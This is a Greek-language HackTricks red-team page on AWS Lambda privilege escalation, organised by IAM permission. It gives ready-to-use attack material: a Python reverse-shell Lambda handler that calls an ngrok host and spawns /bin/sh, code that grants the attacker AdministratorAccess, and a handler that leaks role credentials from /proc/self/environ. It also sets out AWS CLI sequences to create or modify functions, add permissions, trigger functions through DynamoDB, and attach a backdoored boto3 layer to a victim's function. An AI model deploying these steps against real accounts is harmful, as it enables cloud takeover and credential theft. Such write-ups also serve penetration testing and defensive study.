AWS - Lambda Privesc

Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι υποστήριξης του HackTricks:

lambda

Περισσότερες πληροφορίες σχετικά με το lambda:

AWS - Lambda Enum

iam:PassRole, lambda:CreateFunction, (lambda:InvokeFunction | lambda:InvokeFunctionUrl)

Οι χρήστες με τα δικαιώματα iam:PassRole, lambda:CreateFunction, και lambda:InvokeFunction μπορούν να εξελίξουν τα προνόμιά τους. Μπορούν να δημιουργήσουν μια νέα λειτουργία Lambda και να την αναθέσουν σε ένα υπάρχον IAM ρόλο, χορηγώντας στη λειτουργία τα δικαιώματα που σχετίζονται με αυτόν τον ρόλο. Ο χρήστης μπορεί στη συνέχεια να γράψει και να μεταφορτώσει κώδικα σε αυτήν τη λειτουργία Lambda (με ένα αντίστροφο κέλυφος για παράδειγμα). Μόλις η λειτουργία είναι εγκατεστημένη, ο χρήστης μπορεί να ενεργοποιήσει την εκτέλεσή της και τις επιθυμητές ενέργειες καλϋπτοντας τη λειτουργία Lambda μέσω του API του AWS. Με αυτήν την προσέγγιση, ο χρήστης μπορεί αποτελεσματικά να εκτελέσει εργασίες έμμεσα μέσω της λειτουργίας Lambda, λειτουργώντας με το επίπεδο πρόσβασης που χορηγείται στον IAM ρόλο που τη συνοδεύει.\

Ένας επιτιθέμενος θα μπορούσε να εκμεταλλευτεί αυτό για να πάρει ένα αντίστροφο κέλυφος και να κλέψει το διακριτικό:

rev.py
import socket,subprocess,os,time
def lambda_handler(event, context):
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(('4.tcp.ngrok.io',14305))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(['/bin/sh','-i'])
time.sleep(900)
return 0
# Zip the rev shell
zip "rev.zip" "rev.py"

# Create the function
aws lambda create-function --function-name my_function \
--runtime python3.9 --role <arn_of_lambda_role> \
--handler rev.lambda_handler --zip-file fileb://rev.zip

# Invoke the function
aws lambda invoke --function-name my_function output.txt
## If you have the lambda:InvokeFunctionUrl permission you need to expose the lambda inan URL and execute it via the URL

# List roles
aws iam list-attached-user-policies --user-name <user-name>

Μπορείτε επίσης να καταχραστείτε τα δικαιώματα του ρόλου του lambda από τη λειτουργία lambda ίδια. Αν ο ρόλος του lambda είχε αρκετά δικαιώματα, θα μπορούσατε να το χρησιμοποιήσετε για να σας χορηγήσει δικαιώματα διαχειριστή:

import boto3
def lambda_handler(event, context):
client = boto3.client('iam')
response = client.attach_user_policy(
UserName='my_username',
PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess'
)
return response

Είναι επίσης δυνατή η διαρροή των διαπιστευτηρίων ρόλου του lambda χωρίς την ανάγκη εξωτερικής σύνδεσης. Αυτό θα ήταν χρήσιμο για Διακομισμένα Lambdas που χρησιμοποιούνται σε εσωτερικές εργασίες. Αν υπάρχουν άγνωστες ομάδες ασφαλείας που φιλτράρουν τα αντίστροφα κελιά σας, αυτό το τμήμα κώδικα θα σας επιτρέψει να διαρρεύσετε απευθείας τα διαπιστευτήρια ως έξοδο του lambda.

def handler(event, context):
sessiontoken = open('/proc/self/environ', "r").read()
return {
'statusCode': 200,
'session': str(sessiontoken)
}
aws lambda invoke --function-name <lambda_name> output.txt
cat output.txt

Πιθανή Επίδραση: Άμεση ανύψωση προνομίων στο καθορισμένο ρόλο υπηρεσίας lambda.

Σημείωση ότι ακόμα κι αν φαίνεται ενδιαφέρον το lambda:InvokeAsync δεν επιτρέπει από μόνο του την εκτέλεση της εντολής aws lambda invoke-async, χρειάζεστε επίσης το lambda:InvokeFunction

iam:PassRole, lambda:CreateFunction, lambda:AddPermission

Όπως και στο προηγούμενο σενάριο, μπορείτε να χορηγήσετε στον εαυτό σας την άδεια lambda:InvokeFunction αν έχετε την άδεια lambda:AddPermission

# Check the previous exploit and use the following line to grant you the invoke permissions
aws --profile "$NON_PRIV_PROFILE_USER" lambda add-permission --function-name my_function \
--action lambda:InvokeFunction --statement-id statement_privesc --principal "$NON_PRIV_PROFILE_USER_ARN"

Πιθανή Επίπτωση: Άμεση αύξηση προνομίων στο καθορισμένο ρόλο υπηρεσίας Lambda.

iam:PassRole, lambda:CreateFunction, lambda:CreateEventSourceMapping

Οι χρήστες με δικαιώματα iam:PassRole, lambda:CreateFunction, και lambda:CreateEventSourceMapping (και πιθανώς dynamodb:PutItem και dynamodb:CreateTable) μπορούν να αυξήσουν έμμεσα τα προνόμια ακόμη και χωρίς το lambda:InvokeFunction. Μπορούν να δημιουργήσουν μια συνάρτηση Lambda με κακόβουλο κώδικα και να της αναθέσουν έναν υπάρχοντα ρόλο IAM.

Αντί να εκτελούν απευθείας τη Lambda, ο χρήστης δημιουργεί ή χρησιμοποιεί έναν υπάρχοντα πίνακα DynamoDB, συνδέοντάς τον με τη Lambda μέσω ενός χαρτογραφήματος πηγής συμβάντος. Αυτή η ρύθμιση εξασφαλίζει ότι η συνάρτηση Lambda ενεργοποιείται αυτόματα με την εισαγωγή ενός νέου στοιχείου στον πίνακα, είτε από την ενέργεια του χρήστη είτε από άλλη διαδικασία, εκτελώντας έτσι έμμεσα τη συνάρτηση Lambda και εκτελώντας τον κώδικα με τα δικαιώματα του περασμένου ρόλου IAM.

aws lambda create-function --function-name my_function \
--runtime python3.8 --role <arn_of_lambda_role> \
--handler lambda_function.lambda_handler \
--zip-file fileb://rev.zip

Αν το DynamoDB είναι ήδη ενεργό στο περιβάλλον του AWS, ο χρήστης χρειάζεται μόνο να καθιερώσει την αντιστοίχιση πηγής συμβάντος για τη λειτουργία Lambda. Ωστόσο, αν το DynamoDB δεν χρησιμοποιείται, ο χρήστης πρέπει να δημιουργήσει έναν νέο πίνακα με ενεργοποιημένη τη ροή:

aws dynamodb create-table --table-name my_table \
--attribute-definitions AttributeName=Test,AttributeType=S \
--key-schema AttributeName=Test,KeyType=HASH \
--provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \
--stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES

Τώρα είναι δυνατό να συνδέσετε τη Lambda λειτουργία με τον πίνακα DynamoDB με τον δημιουργία εκχώρησης πηγής συμβάντος:

aws lambda create-event-source-mapping --function-name my_function \
--event-source-arn <arn_of_dynamodb_table_stream> \
--enabled --starting-position LATEST

Με τη Lambda λειτουργία που συνδέεται με τη ροή του DynamoDB, ο επιτιθέμενος μπορεί έμμεσα να ενεργοποιήσει τη Lambda ενεργοποιώντας τη ροή του DynamoDB. Αυτό μπορεί να επιτευχθεί εισάγοντας ένα στοιχείο στον πίνακα του DynamoDB:

aws dynamodb put-item --table-name my_table \
--item Test={S="Random string"}

Πιθανή Επίδραση: Άμεση ανύψωση προνομίων στον ρόλο υπηρεσίας lambda που καθορίζεται.

lambda:AddPermission

Ένας επιτιθέμενος με αυτήν την άδεια μπορεί να χορηγήσει στον εαυτό του (ή σε άλλους) οποιεσδήποτε άδειες (αυτό δημιουργεί πολιτικές βασισμένες στον πόρο για τη χορήγηση πρόσβασης στον πόρο):

# Give yourself all permissions (you could specify granular such as lambda:InvokeFunction or lambda:UpdateFunctionCode)
aws lambda add-permission --function-name <func_name> --statement-id asdasd --action '*' --principal arn:<your user arn>

# Invoke the function
aws lambda lambda invoke --function-name <func_name> /tmp/outout

Πιθανή Επίπτωση: Άμεση αύξηση προνομίων στον ρόλο υπηρεσίας lambda με τη χορήγηση δικαιώματος τροποποίησης του κώδικα και εκτέλεσής του.

lambda:AddLayerVersionPermission

Ένας επιτιθέμενος με αυτό το δικαίωμα μπορεί να χορηγήσει στον εαυτό του (ή σε άλλους) το δικαίωμα lambda:GetLayerVersion. Μπορεί να έχει πρόσβαση στο layer και να αναζητήσει ευπαθείς προς επίθεση σημεία ή ευαίσθητες πληροφορίες.

# Give everyone the permission lambda:GetLayerVersion
aws lambda add-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1 --principal '*' --action lambda:GetLayerVersion

Πιθανή Επίπτωση: Πιθανή πρόσβαση σε ευαίσθητες πληροφορίες.

lambda:UpdateFunctionCode

Οι χρήστες που κατέχουν την άδεια lambda:UpdateFunctionCode έχουν τη δυνατότητα να τροποποιήσουν τον κώδικα μιας υπάρχουσας λειτουργίας Lambda που συνδέεται με έναν ρόλο IAM. Ο επιτιθέμενος μπορεί να τροποποιήσει τον κώδικα της λειτουργίας Lambda για να εξαγάγει τα διαπιστευτήρια IAM.

Παρόλο που ο επιτιθέμενος ενδέχεται να μην έχει την άμεση δυνατότητα να εκτελέσει τη λειτουργία, εάν η λειτουργία Lambda είναι υπάρχουσα και λειτουργική, είναι πιθανό να ενεργοποιηθεί μέσω υπαρχόντων ροών εργασίας ή συμβάντων, διευκολύνοντας έτσι έμμεσα την εκτέλεση του τροποποιημένου κώδικα.

# Thezip should contain the lambda code (trick: DOwnload the current one and add your code there)
aws lambda update-function-code --function-name target_function \
--zip-file fileb:///my/lambda/code/zipped.zip

# If you have invoke permissions:
aws lambda invoke --function-name my_function output.txt

# If not check if it's exposed in any URL or via an API gateway you could access

Πιθανή Επίπτωση: Άμεση αύξηση προνομιακών δικαιωμάτων στον λογαριασμό υπηρεσίας lambda που χρησιμοποιείται.

lambda:UpdateFunctionConfiguration

Εισαγωγή

Επίπεδα Lambda επιτρέπει την συμπερίληψη **κ

import json
import sys

def lambda_handler(event, context):
print(json.dumps(sys.path, indent=2))

Αυτά είναι τα μέρη:

  1. /var/task

  2. /opt/python/lib/python3.7/site-packages

  3. /opt/python

  4. /var/runtime

  5. /var/lang/lib/python37.zip

  6. /var/lang/lib/python3.7

  7. /var/lang/lib/python3.7/lib-dynload

  8. /var/lang/lib/python3.7/site-packages

  9. /opt/python/lib/python3.7/site-packages

  10. /opt/python

Για παράδειγμα, η βιβλιοθήκη boto3 φορτώνεται από το /var/runtime/boto3 (4η θέση).

Εκμετάλλευση

Είναι δυνατόν να καταχραστείτε την άδεια lambda:UpdateFunctionConfiguration για προσθήκη νέου επιπέδου σε μια λειτουργία lambda. Για να εκτελέσετε αυθαίρετο κώδικα, αυτό το επίπεδο πρέπει να περιέχει κάποια βιβλιοθήκη που η lambda θα εισάγει. Αν μπορείτε να διαβάσετε τον κώδικα της lambda, μπορείτε να το βρείτε εύκολα, επίσης σημειώστε ότι είναι πιθανό ότι η lambda χρησιμοποιεί ήδη ένα επίπεδο και μπορείτε να κατεβάσετε το επίπεδο και να προσθέσετε τον κώδικά σας εκεί.

Για παράδειγμα, ας υποθέσουμε ότι η lambda χρησιμοποιεί τη βιβλιοθήκη boto3, αυτό θα δημιουργήσει ένα τοπικό επίπεδο με την τελευταία έκδοση της βιβλιοθήκης:

pip3 install -t ./lambda_layer boto3

Μπορείτε να ανοίξετε το ./lambda_layer/boto3/__init__.py και να προσθέσετε την παθογένεια στον κώδικα (ένα λειτουργία για εξυφαντώση διαπιστευμάτων ή για λήψη αντίστροφης κέλυφους για παράδειγμα).

Στη συνέχεια, συμπιέστε τον φάκελο ./lambda_layer και ανεβάστε το νέο επίπεδο lambda στον δικό σας λογαριασμό (ή στον λογαριασμό του θύματος, αλλά μπορεί να μην έχετε δικαιώματα γι' αυτό). Σημειώστε ότι πρέπει να δημιουργήσετε έναν φάκελο python και να τοποθετήσετε τις βιβλιοθήκες εκεί για να αντικαταστήσετε το /opt/python/boto3. Επίσης, το επίπεδο πρέπει να είναι συμβατό με την έκδοση της Python που χρησιμοποιείται από το lambda και αν το ανεβάσετε στον δικό σας λογαριασμό, πρέπει να είναι στην ίδια περιοχή:

aws lambda publish-layer-version --layer-name "boto3" --zip-file file://backdoor.zip --compatible-architectures "x86_64" "arm64" --compatible-runtimes "python3.9" "python3.8" "python3.7" "python3.6"

Τώρα, κάντε το επιφορτισμένο lambda layer προσβάσιμο από οποιοδήποτε λογαριασμό:

aws lambda add-layer-version-permission --layer-name boto3 \
--version-number 1 --statement-id public \
--action lambda:GetLayerVersion --principal *

Και επισυνάψτε το λάμδα επίπεδο στη λειτουργία λάμδα του θύματος:

aws lambda update-function-configuration \
--function-name <func-name> \
--layers arn:aws:lambda:<region>:<attacker-account-id>:layer:boto3:1 \
--timeout 300 #5min for rev shells

Το επόμενο βήμα θα είναι είτε να εκτελέσουμε τη λειτουργία μόνοι μας αν μπορούμε, είτε να περιμένουμε μέχρι να εκτελεστεί με κανονικά μέσα - το οποίο είναι ο ασφαλέστερος τρόπος.

Μια πιο αόρατη μέθοδος εκμετάλλευσης αυτής της ευπάθειας μπορεί να βρεθεί στο:

AWS - Lambda Layers Persistence

Πιθανή Επίπτωση: Άμεση ανύψωση προνομίων στον ρόλο υπηρεσίας lambda που χρησιμοποιείται.

?iam:PassRole, lambda:CreateFunction, lambda:CreateFunctionUrlConfig, lambda:InvokeFunctionUrl

Ίσως με αυτές τις άδειες να είστε σε θέση να δημιουργήσετε μια λειτουργία και να την εκτελέσετε καλώντας το URL... αλλά δεν μπόρεσα να βρω έναν τρόπο να το δοκιμάσω, οπότε ενημερώστε με αν το κάνετε!

Lambda MitM

Κάποιες lambdas θα λαμβάνουν ευαίσθητες πληροφορίες από τους χρήστες σε παραμέτρους. Αν καταφέρετε RCE σε μία από αυτές, μπορείτε να εξαγάγετε τις πληροφορίες που άλλοι χρήστες στέλνουν σε αυτή, ελέγξτε το στο:

AWS - Steal Lambda Requests

Αναφορές

Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι υποστήριξης του HackTricks:

Last updated